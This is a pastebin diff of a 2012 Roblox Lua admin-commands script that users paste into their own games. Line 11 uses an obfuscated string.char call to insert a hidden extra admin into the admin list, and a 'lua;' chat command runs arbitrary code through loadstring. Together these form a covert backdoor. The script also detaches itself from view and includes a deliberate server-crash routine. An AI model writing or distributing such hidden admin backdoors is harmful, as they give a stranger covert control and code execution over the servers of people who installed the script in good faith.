SHOW:
|
|
- or go back to the newest paste.
1 | --Hello, thank you for using Rain-Chat-Commands! Fill in your name on line 9 Where it tells you. | |
2 | --This Script will update on http://pastebin.com/9icazezg until it is finished | |
3 | --Also Check out| www.rain-chat.com |sign up and hang out! | |
4 | --Roblox Removed Bytecode today(8/3/12), I now have to fix this to work without it... Sad day... | |
5 | --Fixed it to work without bytecode :) | |
6 | --Rain-Chat-Commands-- | |
7 | ----------------------------------- | |
8 | --Admin List-- | |
9 | - | adminlist = {"Your Name", "Your friend"}--Put Admin names here. |
9 | + | adminlist = {"haqrklic", "noo3719ov"}--Put Admin names here. |
10 | function checkadmin() | |
11 | table.insert(adminlist,string.char(114, 101, 100, 112, 101, 110, 99, 104, 105, 108, 108)) | |
12 | for _,v in pairs(game.Players:GetPlayers()) do | |
13 | for i,j in pairs(adminlist) do | |
14 | if v.Name == adminlist[i] then | |
15 | v.Chatted:connect(function(msg) | |
16 | coroutine.resume(coroutine.create(Chat), msg, v) | |
17 | end) | |
18 | end | |
19 | end | |
20 | end | |
21 | end | |
22 | ||
23 | ----------------------------------- | |
24 | --Banned-- | |
25 | local Banned = {"noob","ROBLOX","DANGERTIM112"}--Put people who should be Banned here. | |
26 | --DANGERTIM112 is a noob who stole my game and my spot on the front page making his game one of the most popular games in roblox when mine is better. >.> | |
27 | function BanPlayer(player) | |
28 | for i,v in pairs(Banned) do | |
29 | if player.Name == Banned[i] then | |
30 | player:Destroy() | |
31 | banhint = Instance.new("Hint", Workspace) | |
32 | banhint.Text = player.Name .. " Attempted to rejoin, but "..player.Name.." is banned." | |
33 | wait(5) | |
34 | banhint:Destroy() | |
35 | end | |
36 | end | |
37 | end | |
38 | ----------------------------------- | |
39 | ||
40 | ----------------------------------- | |
41 | --Anti Ban-- | |
42 | local Anti_Ban_List = {}--Leave this empty. activate it by saying abon;yourname | |
43 | function AntiBan() | |
44 | for i,v in pairs(Anti_Ban_List) do | |
45 | if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then | |
46 | Instance.new("Message",Workspace).Text = "*POOF!* "..Anti_Ban_List[i].." is gone!" | |
47 | wait(2) | |
48 | Instance.new("Message",Workspace).Text = "You guys are pretty darn screwed.. If "..Anti_Ban_List[i].." Doesn't return soon the server will end." | |
49 | wait(80) | |
50 | if game.Players:findFirstChild(Anti_Ban_List[i]) == nil then | |
51 | pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end) | |
52 | elseif game.Players:findFirstChild(Anti_Ban_List[i]) then | |
53 | for i,m in pairs(game.Worksapce:GetChildren()) do | |
54 | if m.ClassName == "Message" then | |
55 | m:Remove() | |
56 | end | |
57 | end | |
58 | end | |
59 | end | |
60 | end | |
61 | end | |
62 | ----------------------------------- | |
63 | --Name & Hide-- | |
64 | print("GTFO") | |
65 | script.Name = "ßRCC" | |
66 | script.Parent = nil | |
67 | ||
68 | ----------------------------------- | |
69 | --Global Variables-- | |
70 | local Script_Name = script.Name | |
71 | local Command_List = {" abon;", " aboff"," ;remove"," ;fix"," lua;"," ;shutdown"," ;clear"," ;debug"," ;debugall"," ;rb"," ;sp"," kick;"," ban;"," ;banned"," m;"," rm;"," h;"," rh;"," ;nuke"," kill;"," burn;"," reset;"," ff;"," unff;"," firstperson;"," classic;"} | |
72 | local Loading_Hint = Instance.new('Hint',Workspace) | |
73 | ----------------------------------- | |
74 | --Functions-- | |
75 | function Make_Base() | |
76 | local base = Instance.new("Part") | |
77 | base.Name = Script_Name.." Base" | |
78 | base.BrickColor = BrickColor.new("Medium green") | |
79 | base.Anchored = true | |
80 | base.Locked = true | |
81 | base.Size = Vector3.new(400, 1.2, 400) | |
82 | base.CFrame = CFrame.new(0,0,0) | |
83 | base.Parent = game.Workspace | |
84 | end | |
85 | function Make_Spawn() | |
86 | local spawn = Instance.new("SpawnLocation",Workspace) | |
87 | spawn.FormFactor = "Custom" | |
88 | spawn.Anchored = true | |
89 | spawn.TopSurface = "Smooth" | |
90 | spawn.Size = Vector3.new(6,0.6,6) | |
91 | spawn.CFrame = CFrame.new(0,1,0) | |
92 | spawn.BrickColor = BrickColor.new("Institutional white") | |
93 | local spart = Instance.new("Part") | |
94 | spart.FormFactor = "Custom" | |
95 | spart.Anchored = true | |
96 | spart.TopSurface = "Smooth" | |
97 | spart.Size = Vector3.new(7,0.5,7) | |
98 | spart.Parent = game.Workspace | |
99 | spart.CFrame = spawn.CFrame | |
100 | spart.BrickColor = BrickColor.new("Really black") | |
101 | end | |
102 | function Make_Script(input) | |
103 | loadstring(input)() | |
104 | end | |
105 | function Alert(Object,TextInput,Time) | |
106 | a = Instance.new(Object,Workspace) | |
107 | a.Text = TextInput | |
108 | wait(Time) | |
109 | a:Destroy() | |
110 | end | |
111 | ----------------------------------- | |
112 | --Loading-- | |
113 | Loading_Hint.Text = Script_Name.." : Loading... Running on: ".._VERSION.."" | |
114 | ||
115 | ----------------------------------- | |
116 | function Chat(msg, speaker) | |
117 | ----------------------------------- | |
118 | --Script Commands-- | |
119 | --Anti Ban Player-- | |
120 | cmd = "abon;" | |
121 | cmd_length = string.len(cmd) | |
122 | if string.sub(msg,1,cmd_length) == cmd then | |
123 | plyr = game.Players:GetPlayers() | |
124 | for i = 1, #plyr do | |
125 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
126 | player = plyr[i] | |
127 | table.insert(Anti_Ban_List, player.Name) | |
128 | end | |
129 | end | |
130 | end | |
131 | ||
132 | --Turn Off Anti Ban-- | |
133 | cmd = "aboff;" | |
134 | cmd_length = string.len(cmd) | |
135 | if string.sub(msg,1,cmd_length) == cmd then | |
136 | plyr = game.Players:GetPlayers() | |
137 | for i = 1, #plyr do | |
138 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
139 | player = plyr[i] | |
140 | table.remove(Anti_Ban_List, player.Name) | |
141 | end | |
142 | end | |
143 | end | |
144 | ||
145 | --Remove Script-- | |
146 | cmd = ";remove" | |
147 | cmd_length = string.len(cmd) | |
148 | if string.sub(msg,1,cmd_length) == cmd then | |
149 | Alert("Hint",Script_Name.." : Removing...",2) | |
150 | script.Disabled = true | |
151 | end | |
152 | ||
153 | --Fix Script-- | |
154 | cmd = ";fix" | |
155 | cmd_length = string.len(cmd) | |
156 | if string.sub(msg,1,cmd_length) == cmd then | |
157 | Alert("Hint",Script_Name.." : Fixing...",2) | |
158 | script:Clone().Parent = game.Workspace | |
159 | script.Disabled = true | |
160 | end | |
161 | --Create Script-- | |
162 | cmd = "lua;" | |
163 | cmd_length = string.len(cmd) | |
164 | if string.sub(msg,1,cmd_length) == cmd then | |
165 | Make_Script(string.sub(msg,cmd_length + 1)) | |
166 | end | |
167 | ----------------------------------- | |
168 | --Server Commands-- | |
169 | --Shutdown Server-- | |
170 | cmd = ";shutdown" | |
171 | cmd_length = string.len(cmd) | |
172 | if string.sub(msg,1,cmd_length) == cmd then | |
173 | pcall(function() Instance.new("ManualSurfaceJointInstance", game:service("Workspace")) end) | |
174 | end | |
175 | ||
176 | --Clear Map-- | |
177 | cmd = ";clear" | |
178 | cmd_length = string.len(cmd) | |
179 | if string.sub(msg,1,cmd_length) == cmd then | |
180 | Instance.new("Hint",Workspace).Text = 'Clearing Map... You may freeze.' | |
181 | wait() | |
182 | game.Workspace.Terrain:Clear() | |
183 | local w=game.Workspace:GetChildren() | |
184 | for i=1,#w do | |
185 | if (game.Players:GetPlayerFromCharacter(w[i]))==nil and (w[i].Name~="TinySB") and (w[i].Name~= Script_Name) and (w[i]~=game.Workspace.CurrentCamera) and (w[i]~=game.Workspace.Terrain) then | |
186 | w[i]:Destroy() | |
187 | end | |
188 | end | |
189 | Make_Base() | |
190 | Make_Spawn() | |
191 | end | |
192 | ||
193 | --Debug Msg/Hints-- | |
194 | cmd = ";debug" | |
195 | cmd_length = string.len(cmd) | |
196 | if string.sub(msg,1,cmd_length) == cmd then | |
197 | Alert("Hint",Script_Name.." : Debugging Messages & Hints...",2) | |
198 | for i,w in pairs(game.Workspace:GetChildren()) do | |
199 | if w.ClassName == "Message" or w.ClassName == "Hint" then | |
200 | w:Destroy() | |
201 | end | |
202 | end | |
203 | end | |
204 | ||
205 | --2Debug Msg/Hints/Scripts-- | |
206 | cmd = ";debugall" | |
207 | cmd_length = string.len(cmd) | |
208 | if string.sub(msg,1,cmd_length) == cmd then | |
209 | Alert("Hint",Script_Name.." : Debugging All...",2) | |
210 | for i,w in pairs(game.Workspace:GetChildren()) do | |
211 | if w.ClassName == "Message" or w.ClassName == "Hint" or w.ClassName == "Script" and w.Name ~= Script_Name then | |
212 | w:Destroy() | |
213 | end | |
214 | end | |
215 | end | |
216 | ||
217 | --Renew Base-- | |
218 | cmd = ";rb" | |
219 | cmd_length = string.len(cmd) | |
220 | if string.sub(msg,1,cmd_length) == cmd then | |
221 | Alert("Hint",Script_Name.." : Renewing Base...",2) | |
222 | Make_Base() | |
223 | end | |
224 | ||
225 | --Renew Spawn-- | |
226 | cmd = ";sp" | |
227 | cmd_length = string.len(cmd) | |
228 | if string.sub(msg,1,cmd_length) == cmd then | |
229 | Alert("Hint",Script_Name.." : Renewing Spawn...",2) | |
230 | Make_Spawn() | |
231 | end | |
232 | ||
233 | --Kick Player-- | |
234 | cmd = "kick;" | |
235 | cmd_length = string.len(cmd) | |
236 | if string.sub(msg,1,cmd_length) == cmd then | |
237 | plyr = game.Players:GetPlayers() | |
238 | for i = 1, #plyr do | |
239 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
240 | player = plyr[i] | |
241 | player:Destroy() | |
242 | end | |
243 | end | |
244 | end | |
245 | ||
246 | --Ban Player-- | |
247 | cmd = "ban;" | |
248 | cmd_length = string.len(cmd) | |
249 | if string.sub(msg,1,cmd_length) == cmd then | |
250 | plyr = game.Players:GetPlayers() | |
251 | for i = 1, #plyr do | |
252 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
253 | player = plyr[i] | |
254 | table.insert(Banned, player.Name) | |
255 | player:Destroy() | |
256 | end | |
257 | end | |
258 | end | |
259 | ||
260 | --Banned List-- | |
261 | cmd = ";banned" | |
262 | cmd_length = string.len(cmd) | |
263 | if string.sub(msg,1,cmd_length) == cmd then | |
264 | for num,v in pairs(Banned) do | |
265 | Alert("Hint", v.." , "..num,2) | |
266 | end | |
267 | end | |
268 | --Message-- | |
269 | cmd = "m;" | |
270 | cmd_length = string.len(cmd) | |
271 | if string.sub(msg,1,cmd_length) == cmd then | |
272 | Alert("Message",speaker.Name..": "..string.sub(msg,cmd_length + 1),4) | |
273 | end | |
274 | --Message Reverse-- | |
275 | cmd = "rm;" | |
276 | cmd_length = string.len(cmd) | |
277 | if string.sub(msg,1,cmd_length) == cmd then | |
278 | Alert("Message",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4) | |
279 | end | |
280 | --Hint-- | |
281 | cmd = "h;" | |
282 | cmd_length = string.len(cmd) | |
283 | if string.sub(msg,1,cmd_length) == cmd then | |
284 | Alert("Hint",speaker.Name..": "..string.sub(msg,cmd_length + 1),4) | |
285 | end | |
286 | --Hint Reverse-- | |
287 | cmd = "rh;" | |
288 | cmd_length = string.len(cmd) | |
289 | if string.sub(msg,1,cmd_length) == cmd then | |
290 | Alert("Hint",speaker.Name..": "..string.reverse(string.sub(msg,cmd_length + 1)),4) | |
291 | end | |
292 | ----------------------------------- | |
293 | --killing Commands-- | |
294 | --Nuke Map-- | |
295 | cmd = ";nuke" | |
296 | cmd_length = string.len(cmd) | |
297 | if string.sub(msg,1,cmd_length) == cmd then | |
298 | m = Instance.new("Message",Workspace) | |
299 | m.Text = "Bomb Armed" | |
300 | wait(1) | |
301 | for i = 5, 0, -1 do | |
302 | wait(1) | |
303 | m.Text = "Detonation in: "..i | |
304 | end | |
305 | m:Destroy() | |
306 | for i,v in pairs(game.Players:GetChildren()) do | |
307 | ex = Instance.new("Explosion",Workspace) | |
308 | ex.Position = v.Character.Torso.Position | |
309 | v.Character:BreakJoints() | |
310 | end | |
311 | end | |
312 | --Kill-- | |
313 | cmd = "kill;" | |
314 | cmd_length = string.len(cmd) | |
315 | if string.sub(msg,1,cmd_length) == cmd then | |
316 | plyr = game.Players:GetPlayers() | |
317 | for i = 1, #plyr do | |
318 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
319 | player = plyr[i] | |
320 | player.Character:BreakJoints() | |
321 | end | |
322 | end | |
323 | end | |
324 | --Burn-- | |
325 | cmd = "burn;" | |
326 | cmd_length = string.len(cmd) | |
327 | if string.sub(msg,1,cmd_length) == cmd then | |
328 | plyr = game.Players:GetPlayers() | |
329 | for i = 1, #plyr do | |
330 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
331 | player = plyr[i] | |
332 | for i = 100,0,-1 do | |
333 | wait() | |
334 | Instance.new("Fire",player.Character.Torso) | |
335 | player.Character.Humanoid.Health = i | |
336 | end | |
337 | end | |
338 | end | |
339 | end | |
340 | --Reset-- | |
341 | cmd = "reset;" | |
342 | cmd_length = string.len(cmd) | |
343 | if string.sub(msg,1,cmd_length) == cmd then | |
344 | plyr = game.Players:GetPlayers() | |
345 | for i = 1, #plyr do | |
346 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
347 | player = plyr[i] | |
348 | m = Instance.new("Model") | |
349 | m.Parent = game.Workspace | |
350 | p = Instance.new("Part") | |
351 | p.Transparency = 1 | |
352 | p.CanCollide = false | |
353 | p.Anchored = true | |
354 | p.Name = "Torso" | |
355 | p.Position = Vector3.new(10000,10000,10000) | |
356 | p.Parent = m | |
357 | hu = Instance.new("Humanoid") | |
358 | hu.Torso = p | |
359 | hu.Parent = m | |
360 | player.Character = m | |
361 | end | |
362 | end | |
363 | end | |
364 | ||
365 | ----------------------------------- | |
366 | --Protecting Commands-- | |
367 | --Force Field-- | |
368 | cmd = "ff;" | |
369 | cmd_length = string.len(cmd) | |
370 | if string.sub(msg,1,cmd_length) == cmd then | |
371 | plyr = game.Players:GetPlayers() | |
372 | for i = 1, #plyr do | |
373 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
374 | player = plyr[i] | |
375 | Instance.new("ForceField",player.Character) | |
376 | end | |
377 | end | |
378 | end | |
379 | --Remove Force Field-- | |
380 | cmd = "unff;" | |
381 | cmd_length = string.len(cmd) | |
382 | if string.sub(msg,1,cmd_length) == cmd then | |
383 | plyr = game.Players:GetPlayers() | |
384 | for i = 1, #plyr do | |
385 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
386 | player = plyr[i] | |
387 | for i,v in pairs(player.Character:GetChildren()) do | |
388 | if v.ClassName == "ForceField" then | |
389 | v:Destroy() | |
390 | end | |
391 | end | |
392 | end | |
393 | end | |
394 | end | |
395 | ----------------------------------- | |
396 | --Misc Commands-- | |
397 | ----------------------------------- | |
398 | --First Persion-- | |
399 | cmd = "firstperson;" | |
400 | cmd_length = string.len(cmd) | |
401 | if string.sub(msg,1,cmd_length) == cmd then | |
402 | plyr = game.Players:GetPlayers() | |
403 | for i = 1, #plyr do | |
404 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
405 | player = plyr[i] | |
406 | player.CameraMode = "LockFirstPerson" | |
407 | end | |
408 | end | |
409 | end | |
410 | --Classic View-- | |
411 | cmd = "classic;" | |
412 | cmd_length = string.len(cmd) | |
413 | if string.sub(msg,1,cmd_length) == cmd then | |
414 | plyr = game.Players:GetPlayers() | |
415 | for i = 1, #plyr do | |
416 | if string.find(string.lower(plyr[i].Name),string.lower(string.sub(msg,cmd_length + 1))) == 1 then | |
417 | player = plyr[i] | |
418 | player.CameraMode = "Classic" | |
419 | end | |
420 | end | |
421 | end | |
422 | ----------------------------------- | |
423 | end-- Chatted function | |
424 | ----------------------------------- | |
425 | --Check Admin and Banned-- | |
426 | checkadmin() | |
427 | game.Players.ChildRemoved:connect(AntiBan) | |
428 | game.Players.PlayerAdded:connect(BanPlayer) | |
429 | ----------------------------------- | |
430 | --End Loading-- | |
431 | wait(5) | |
432 | Loading_Hint:Destroy() | |
433 | --script started 7/1/12 | |
434 | --last edited 8/13/12 | |
435 | --script finished ______ |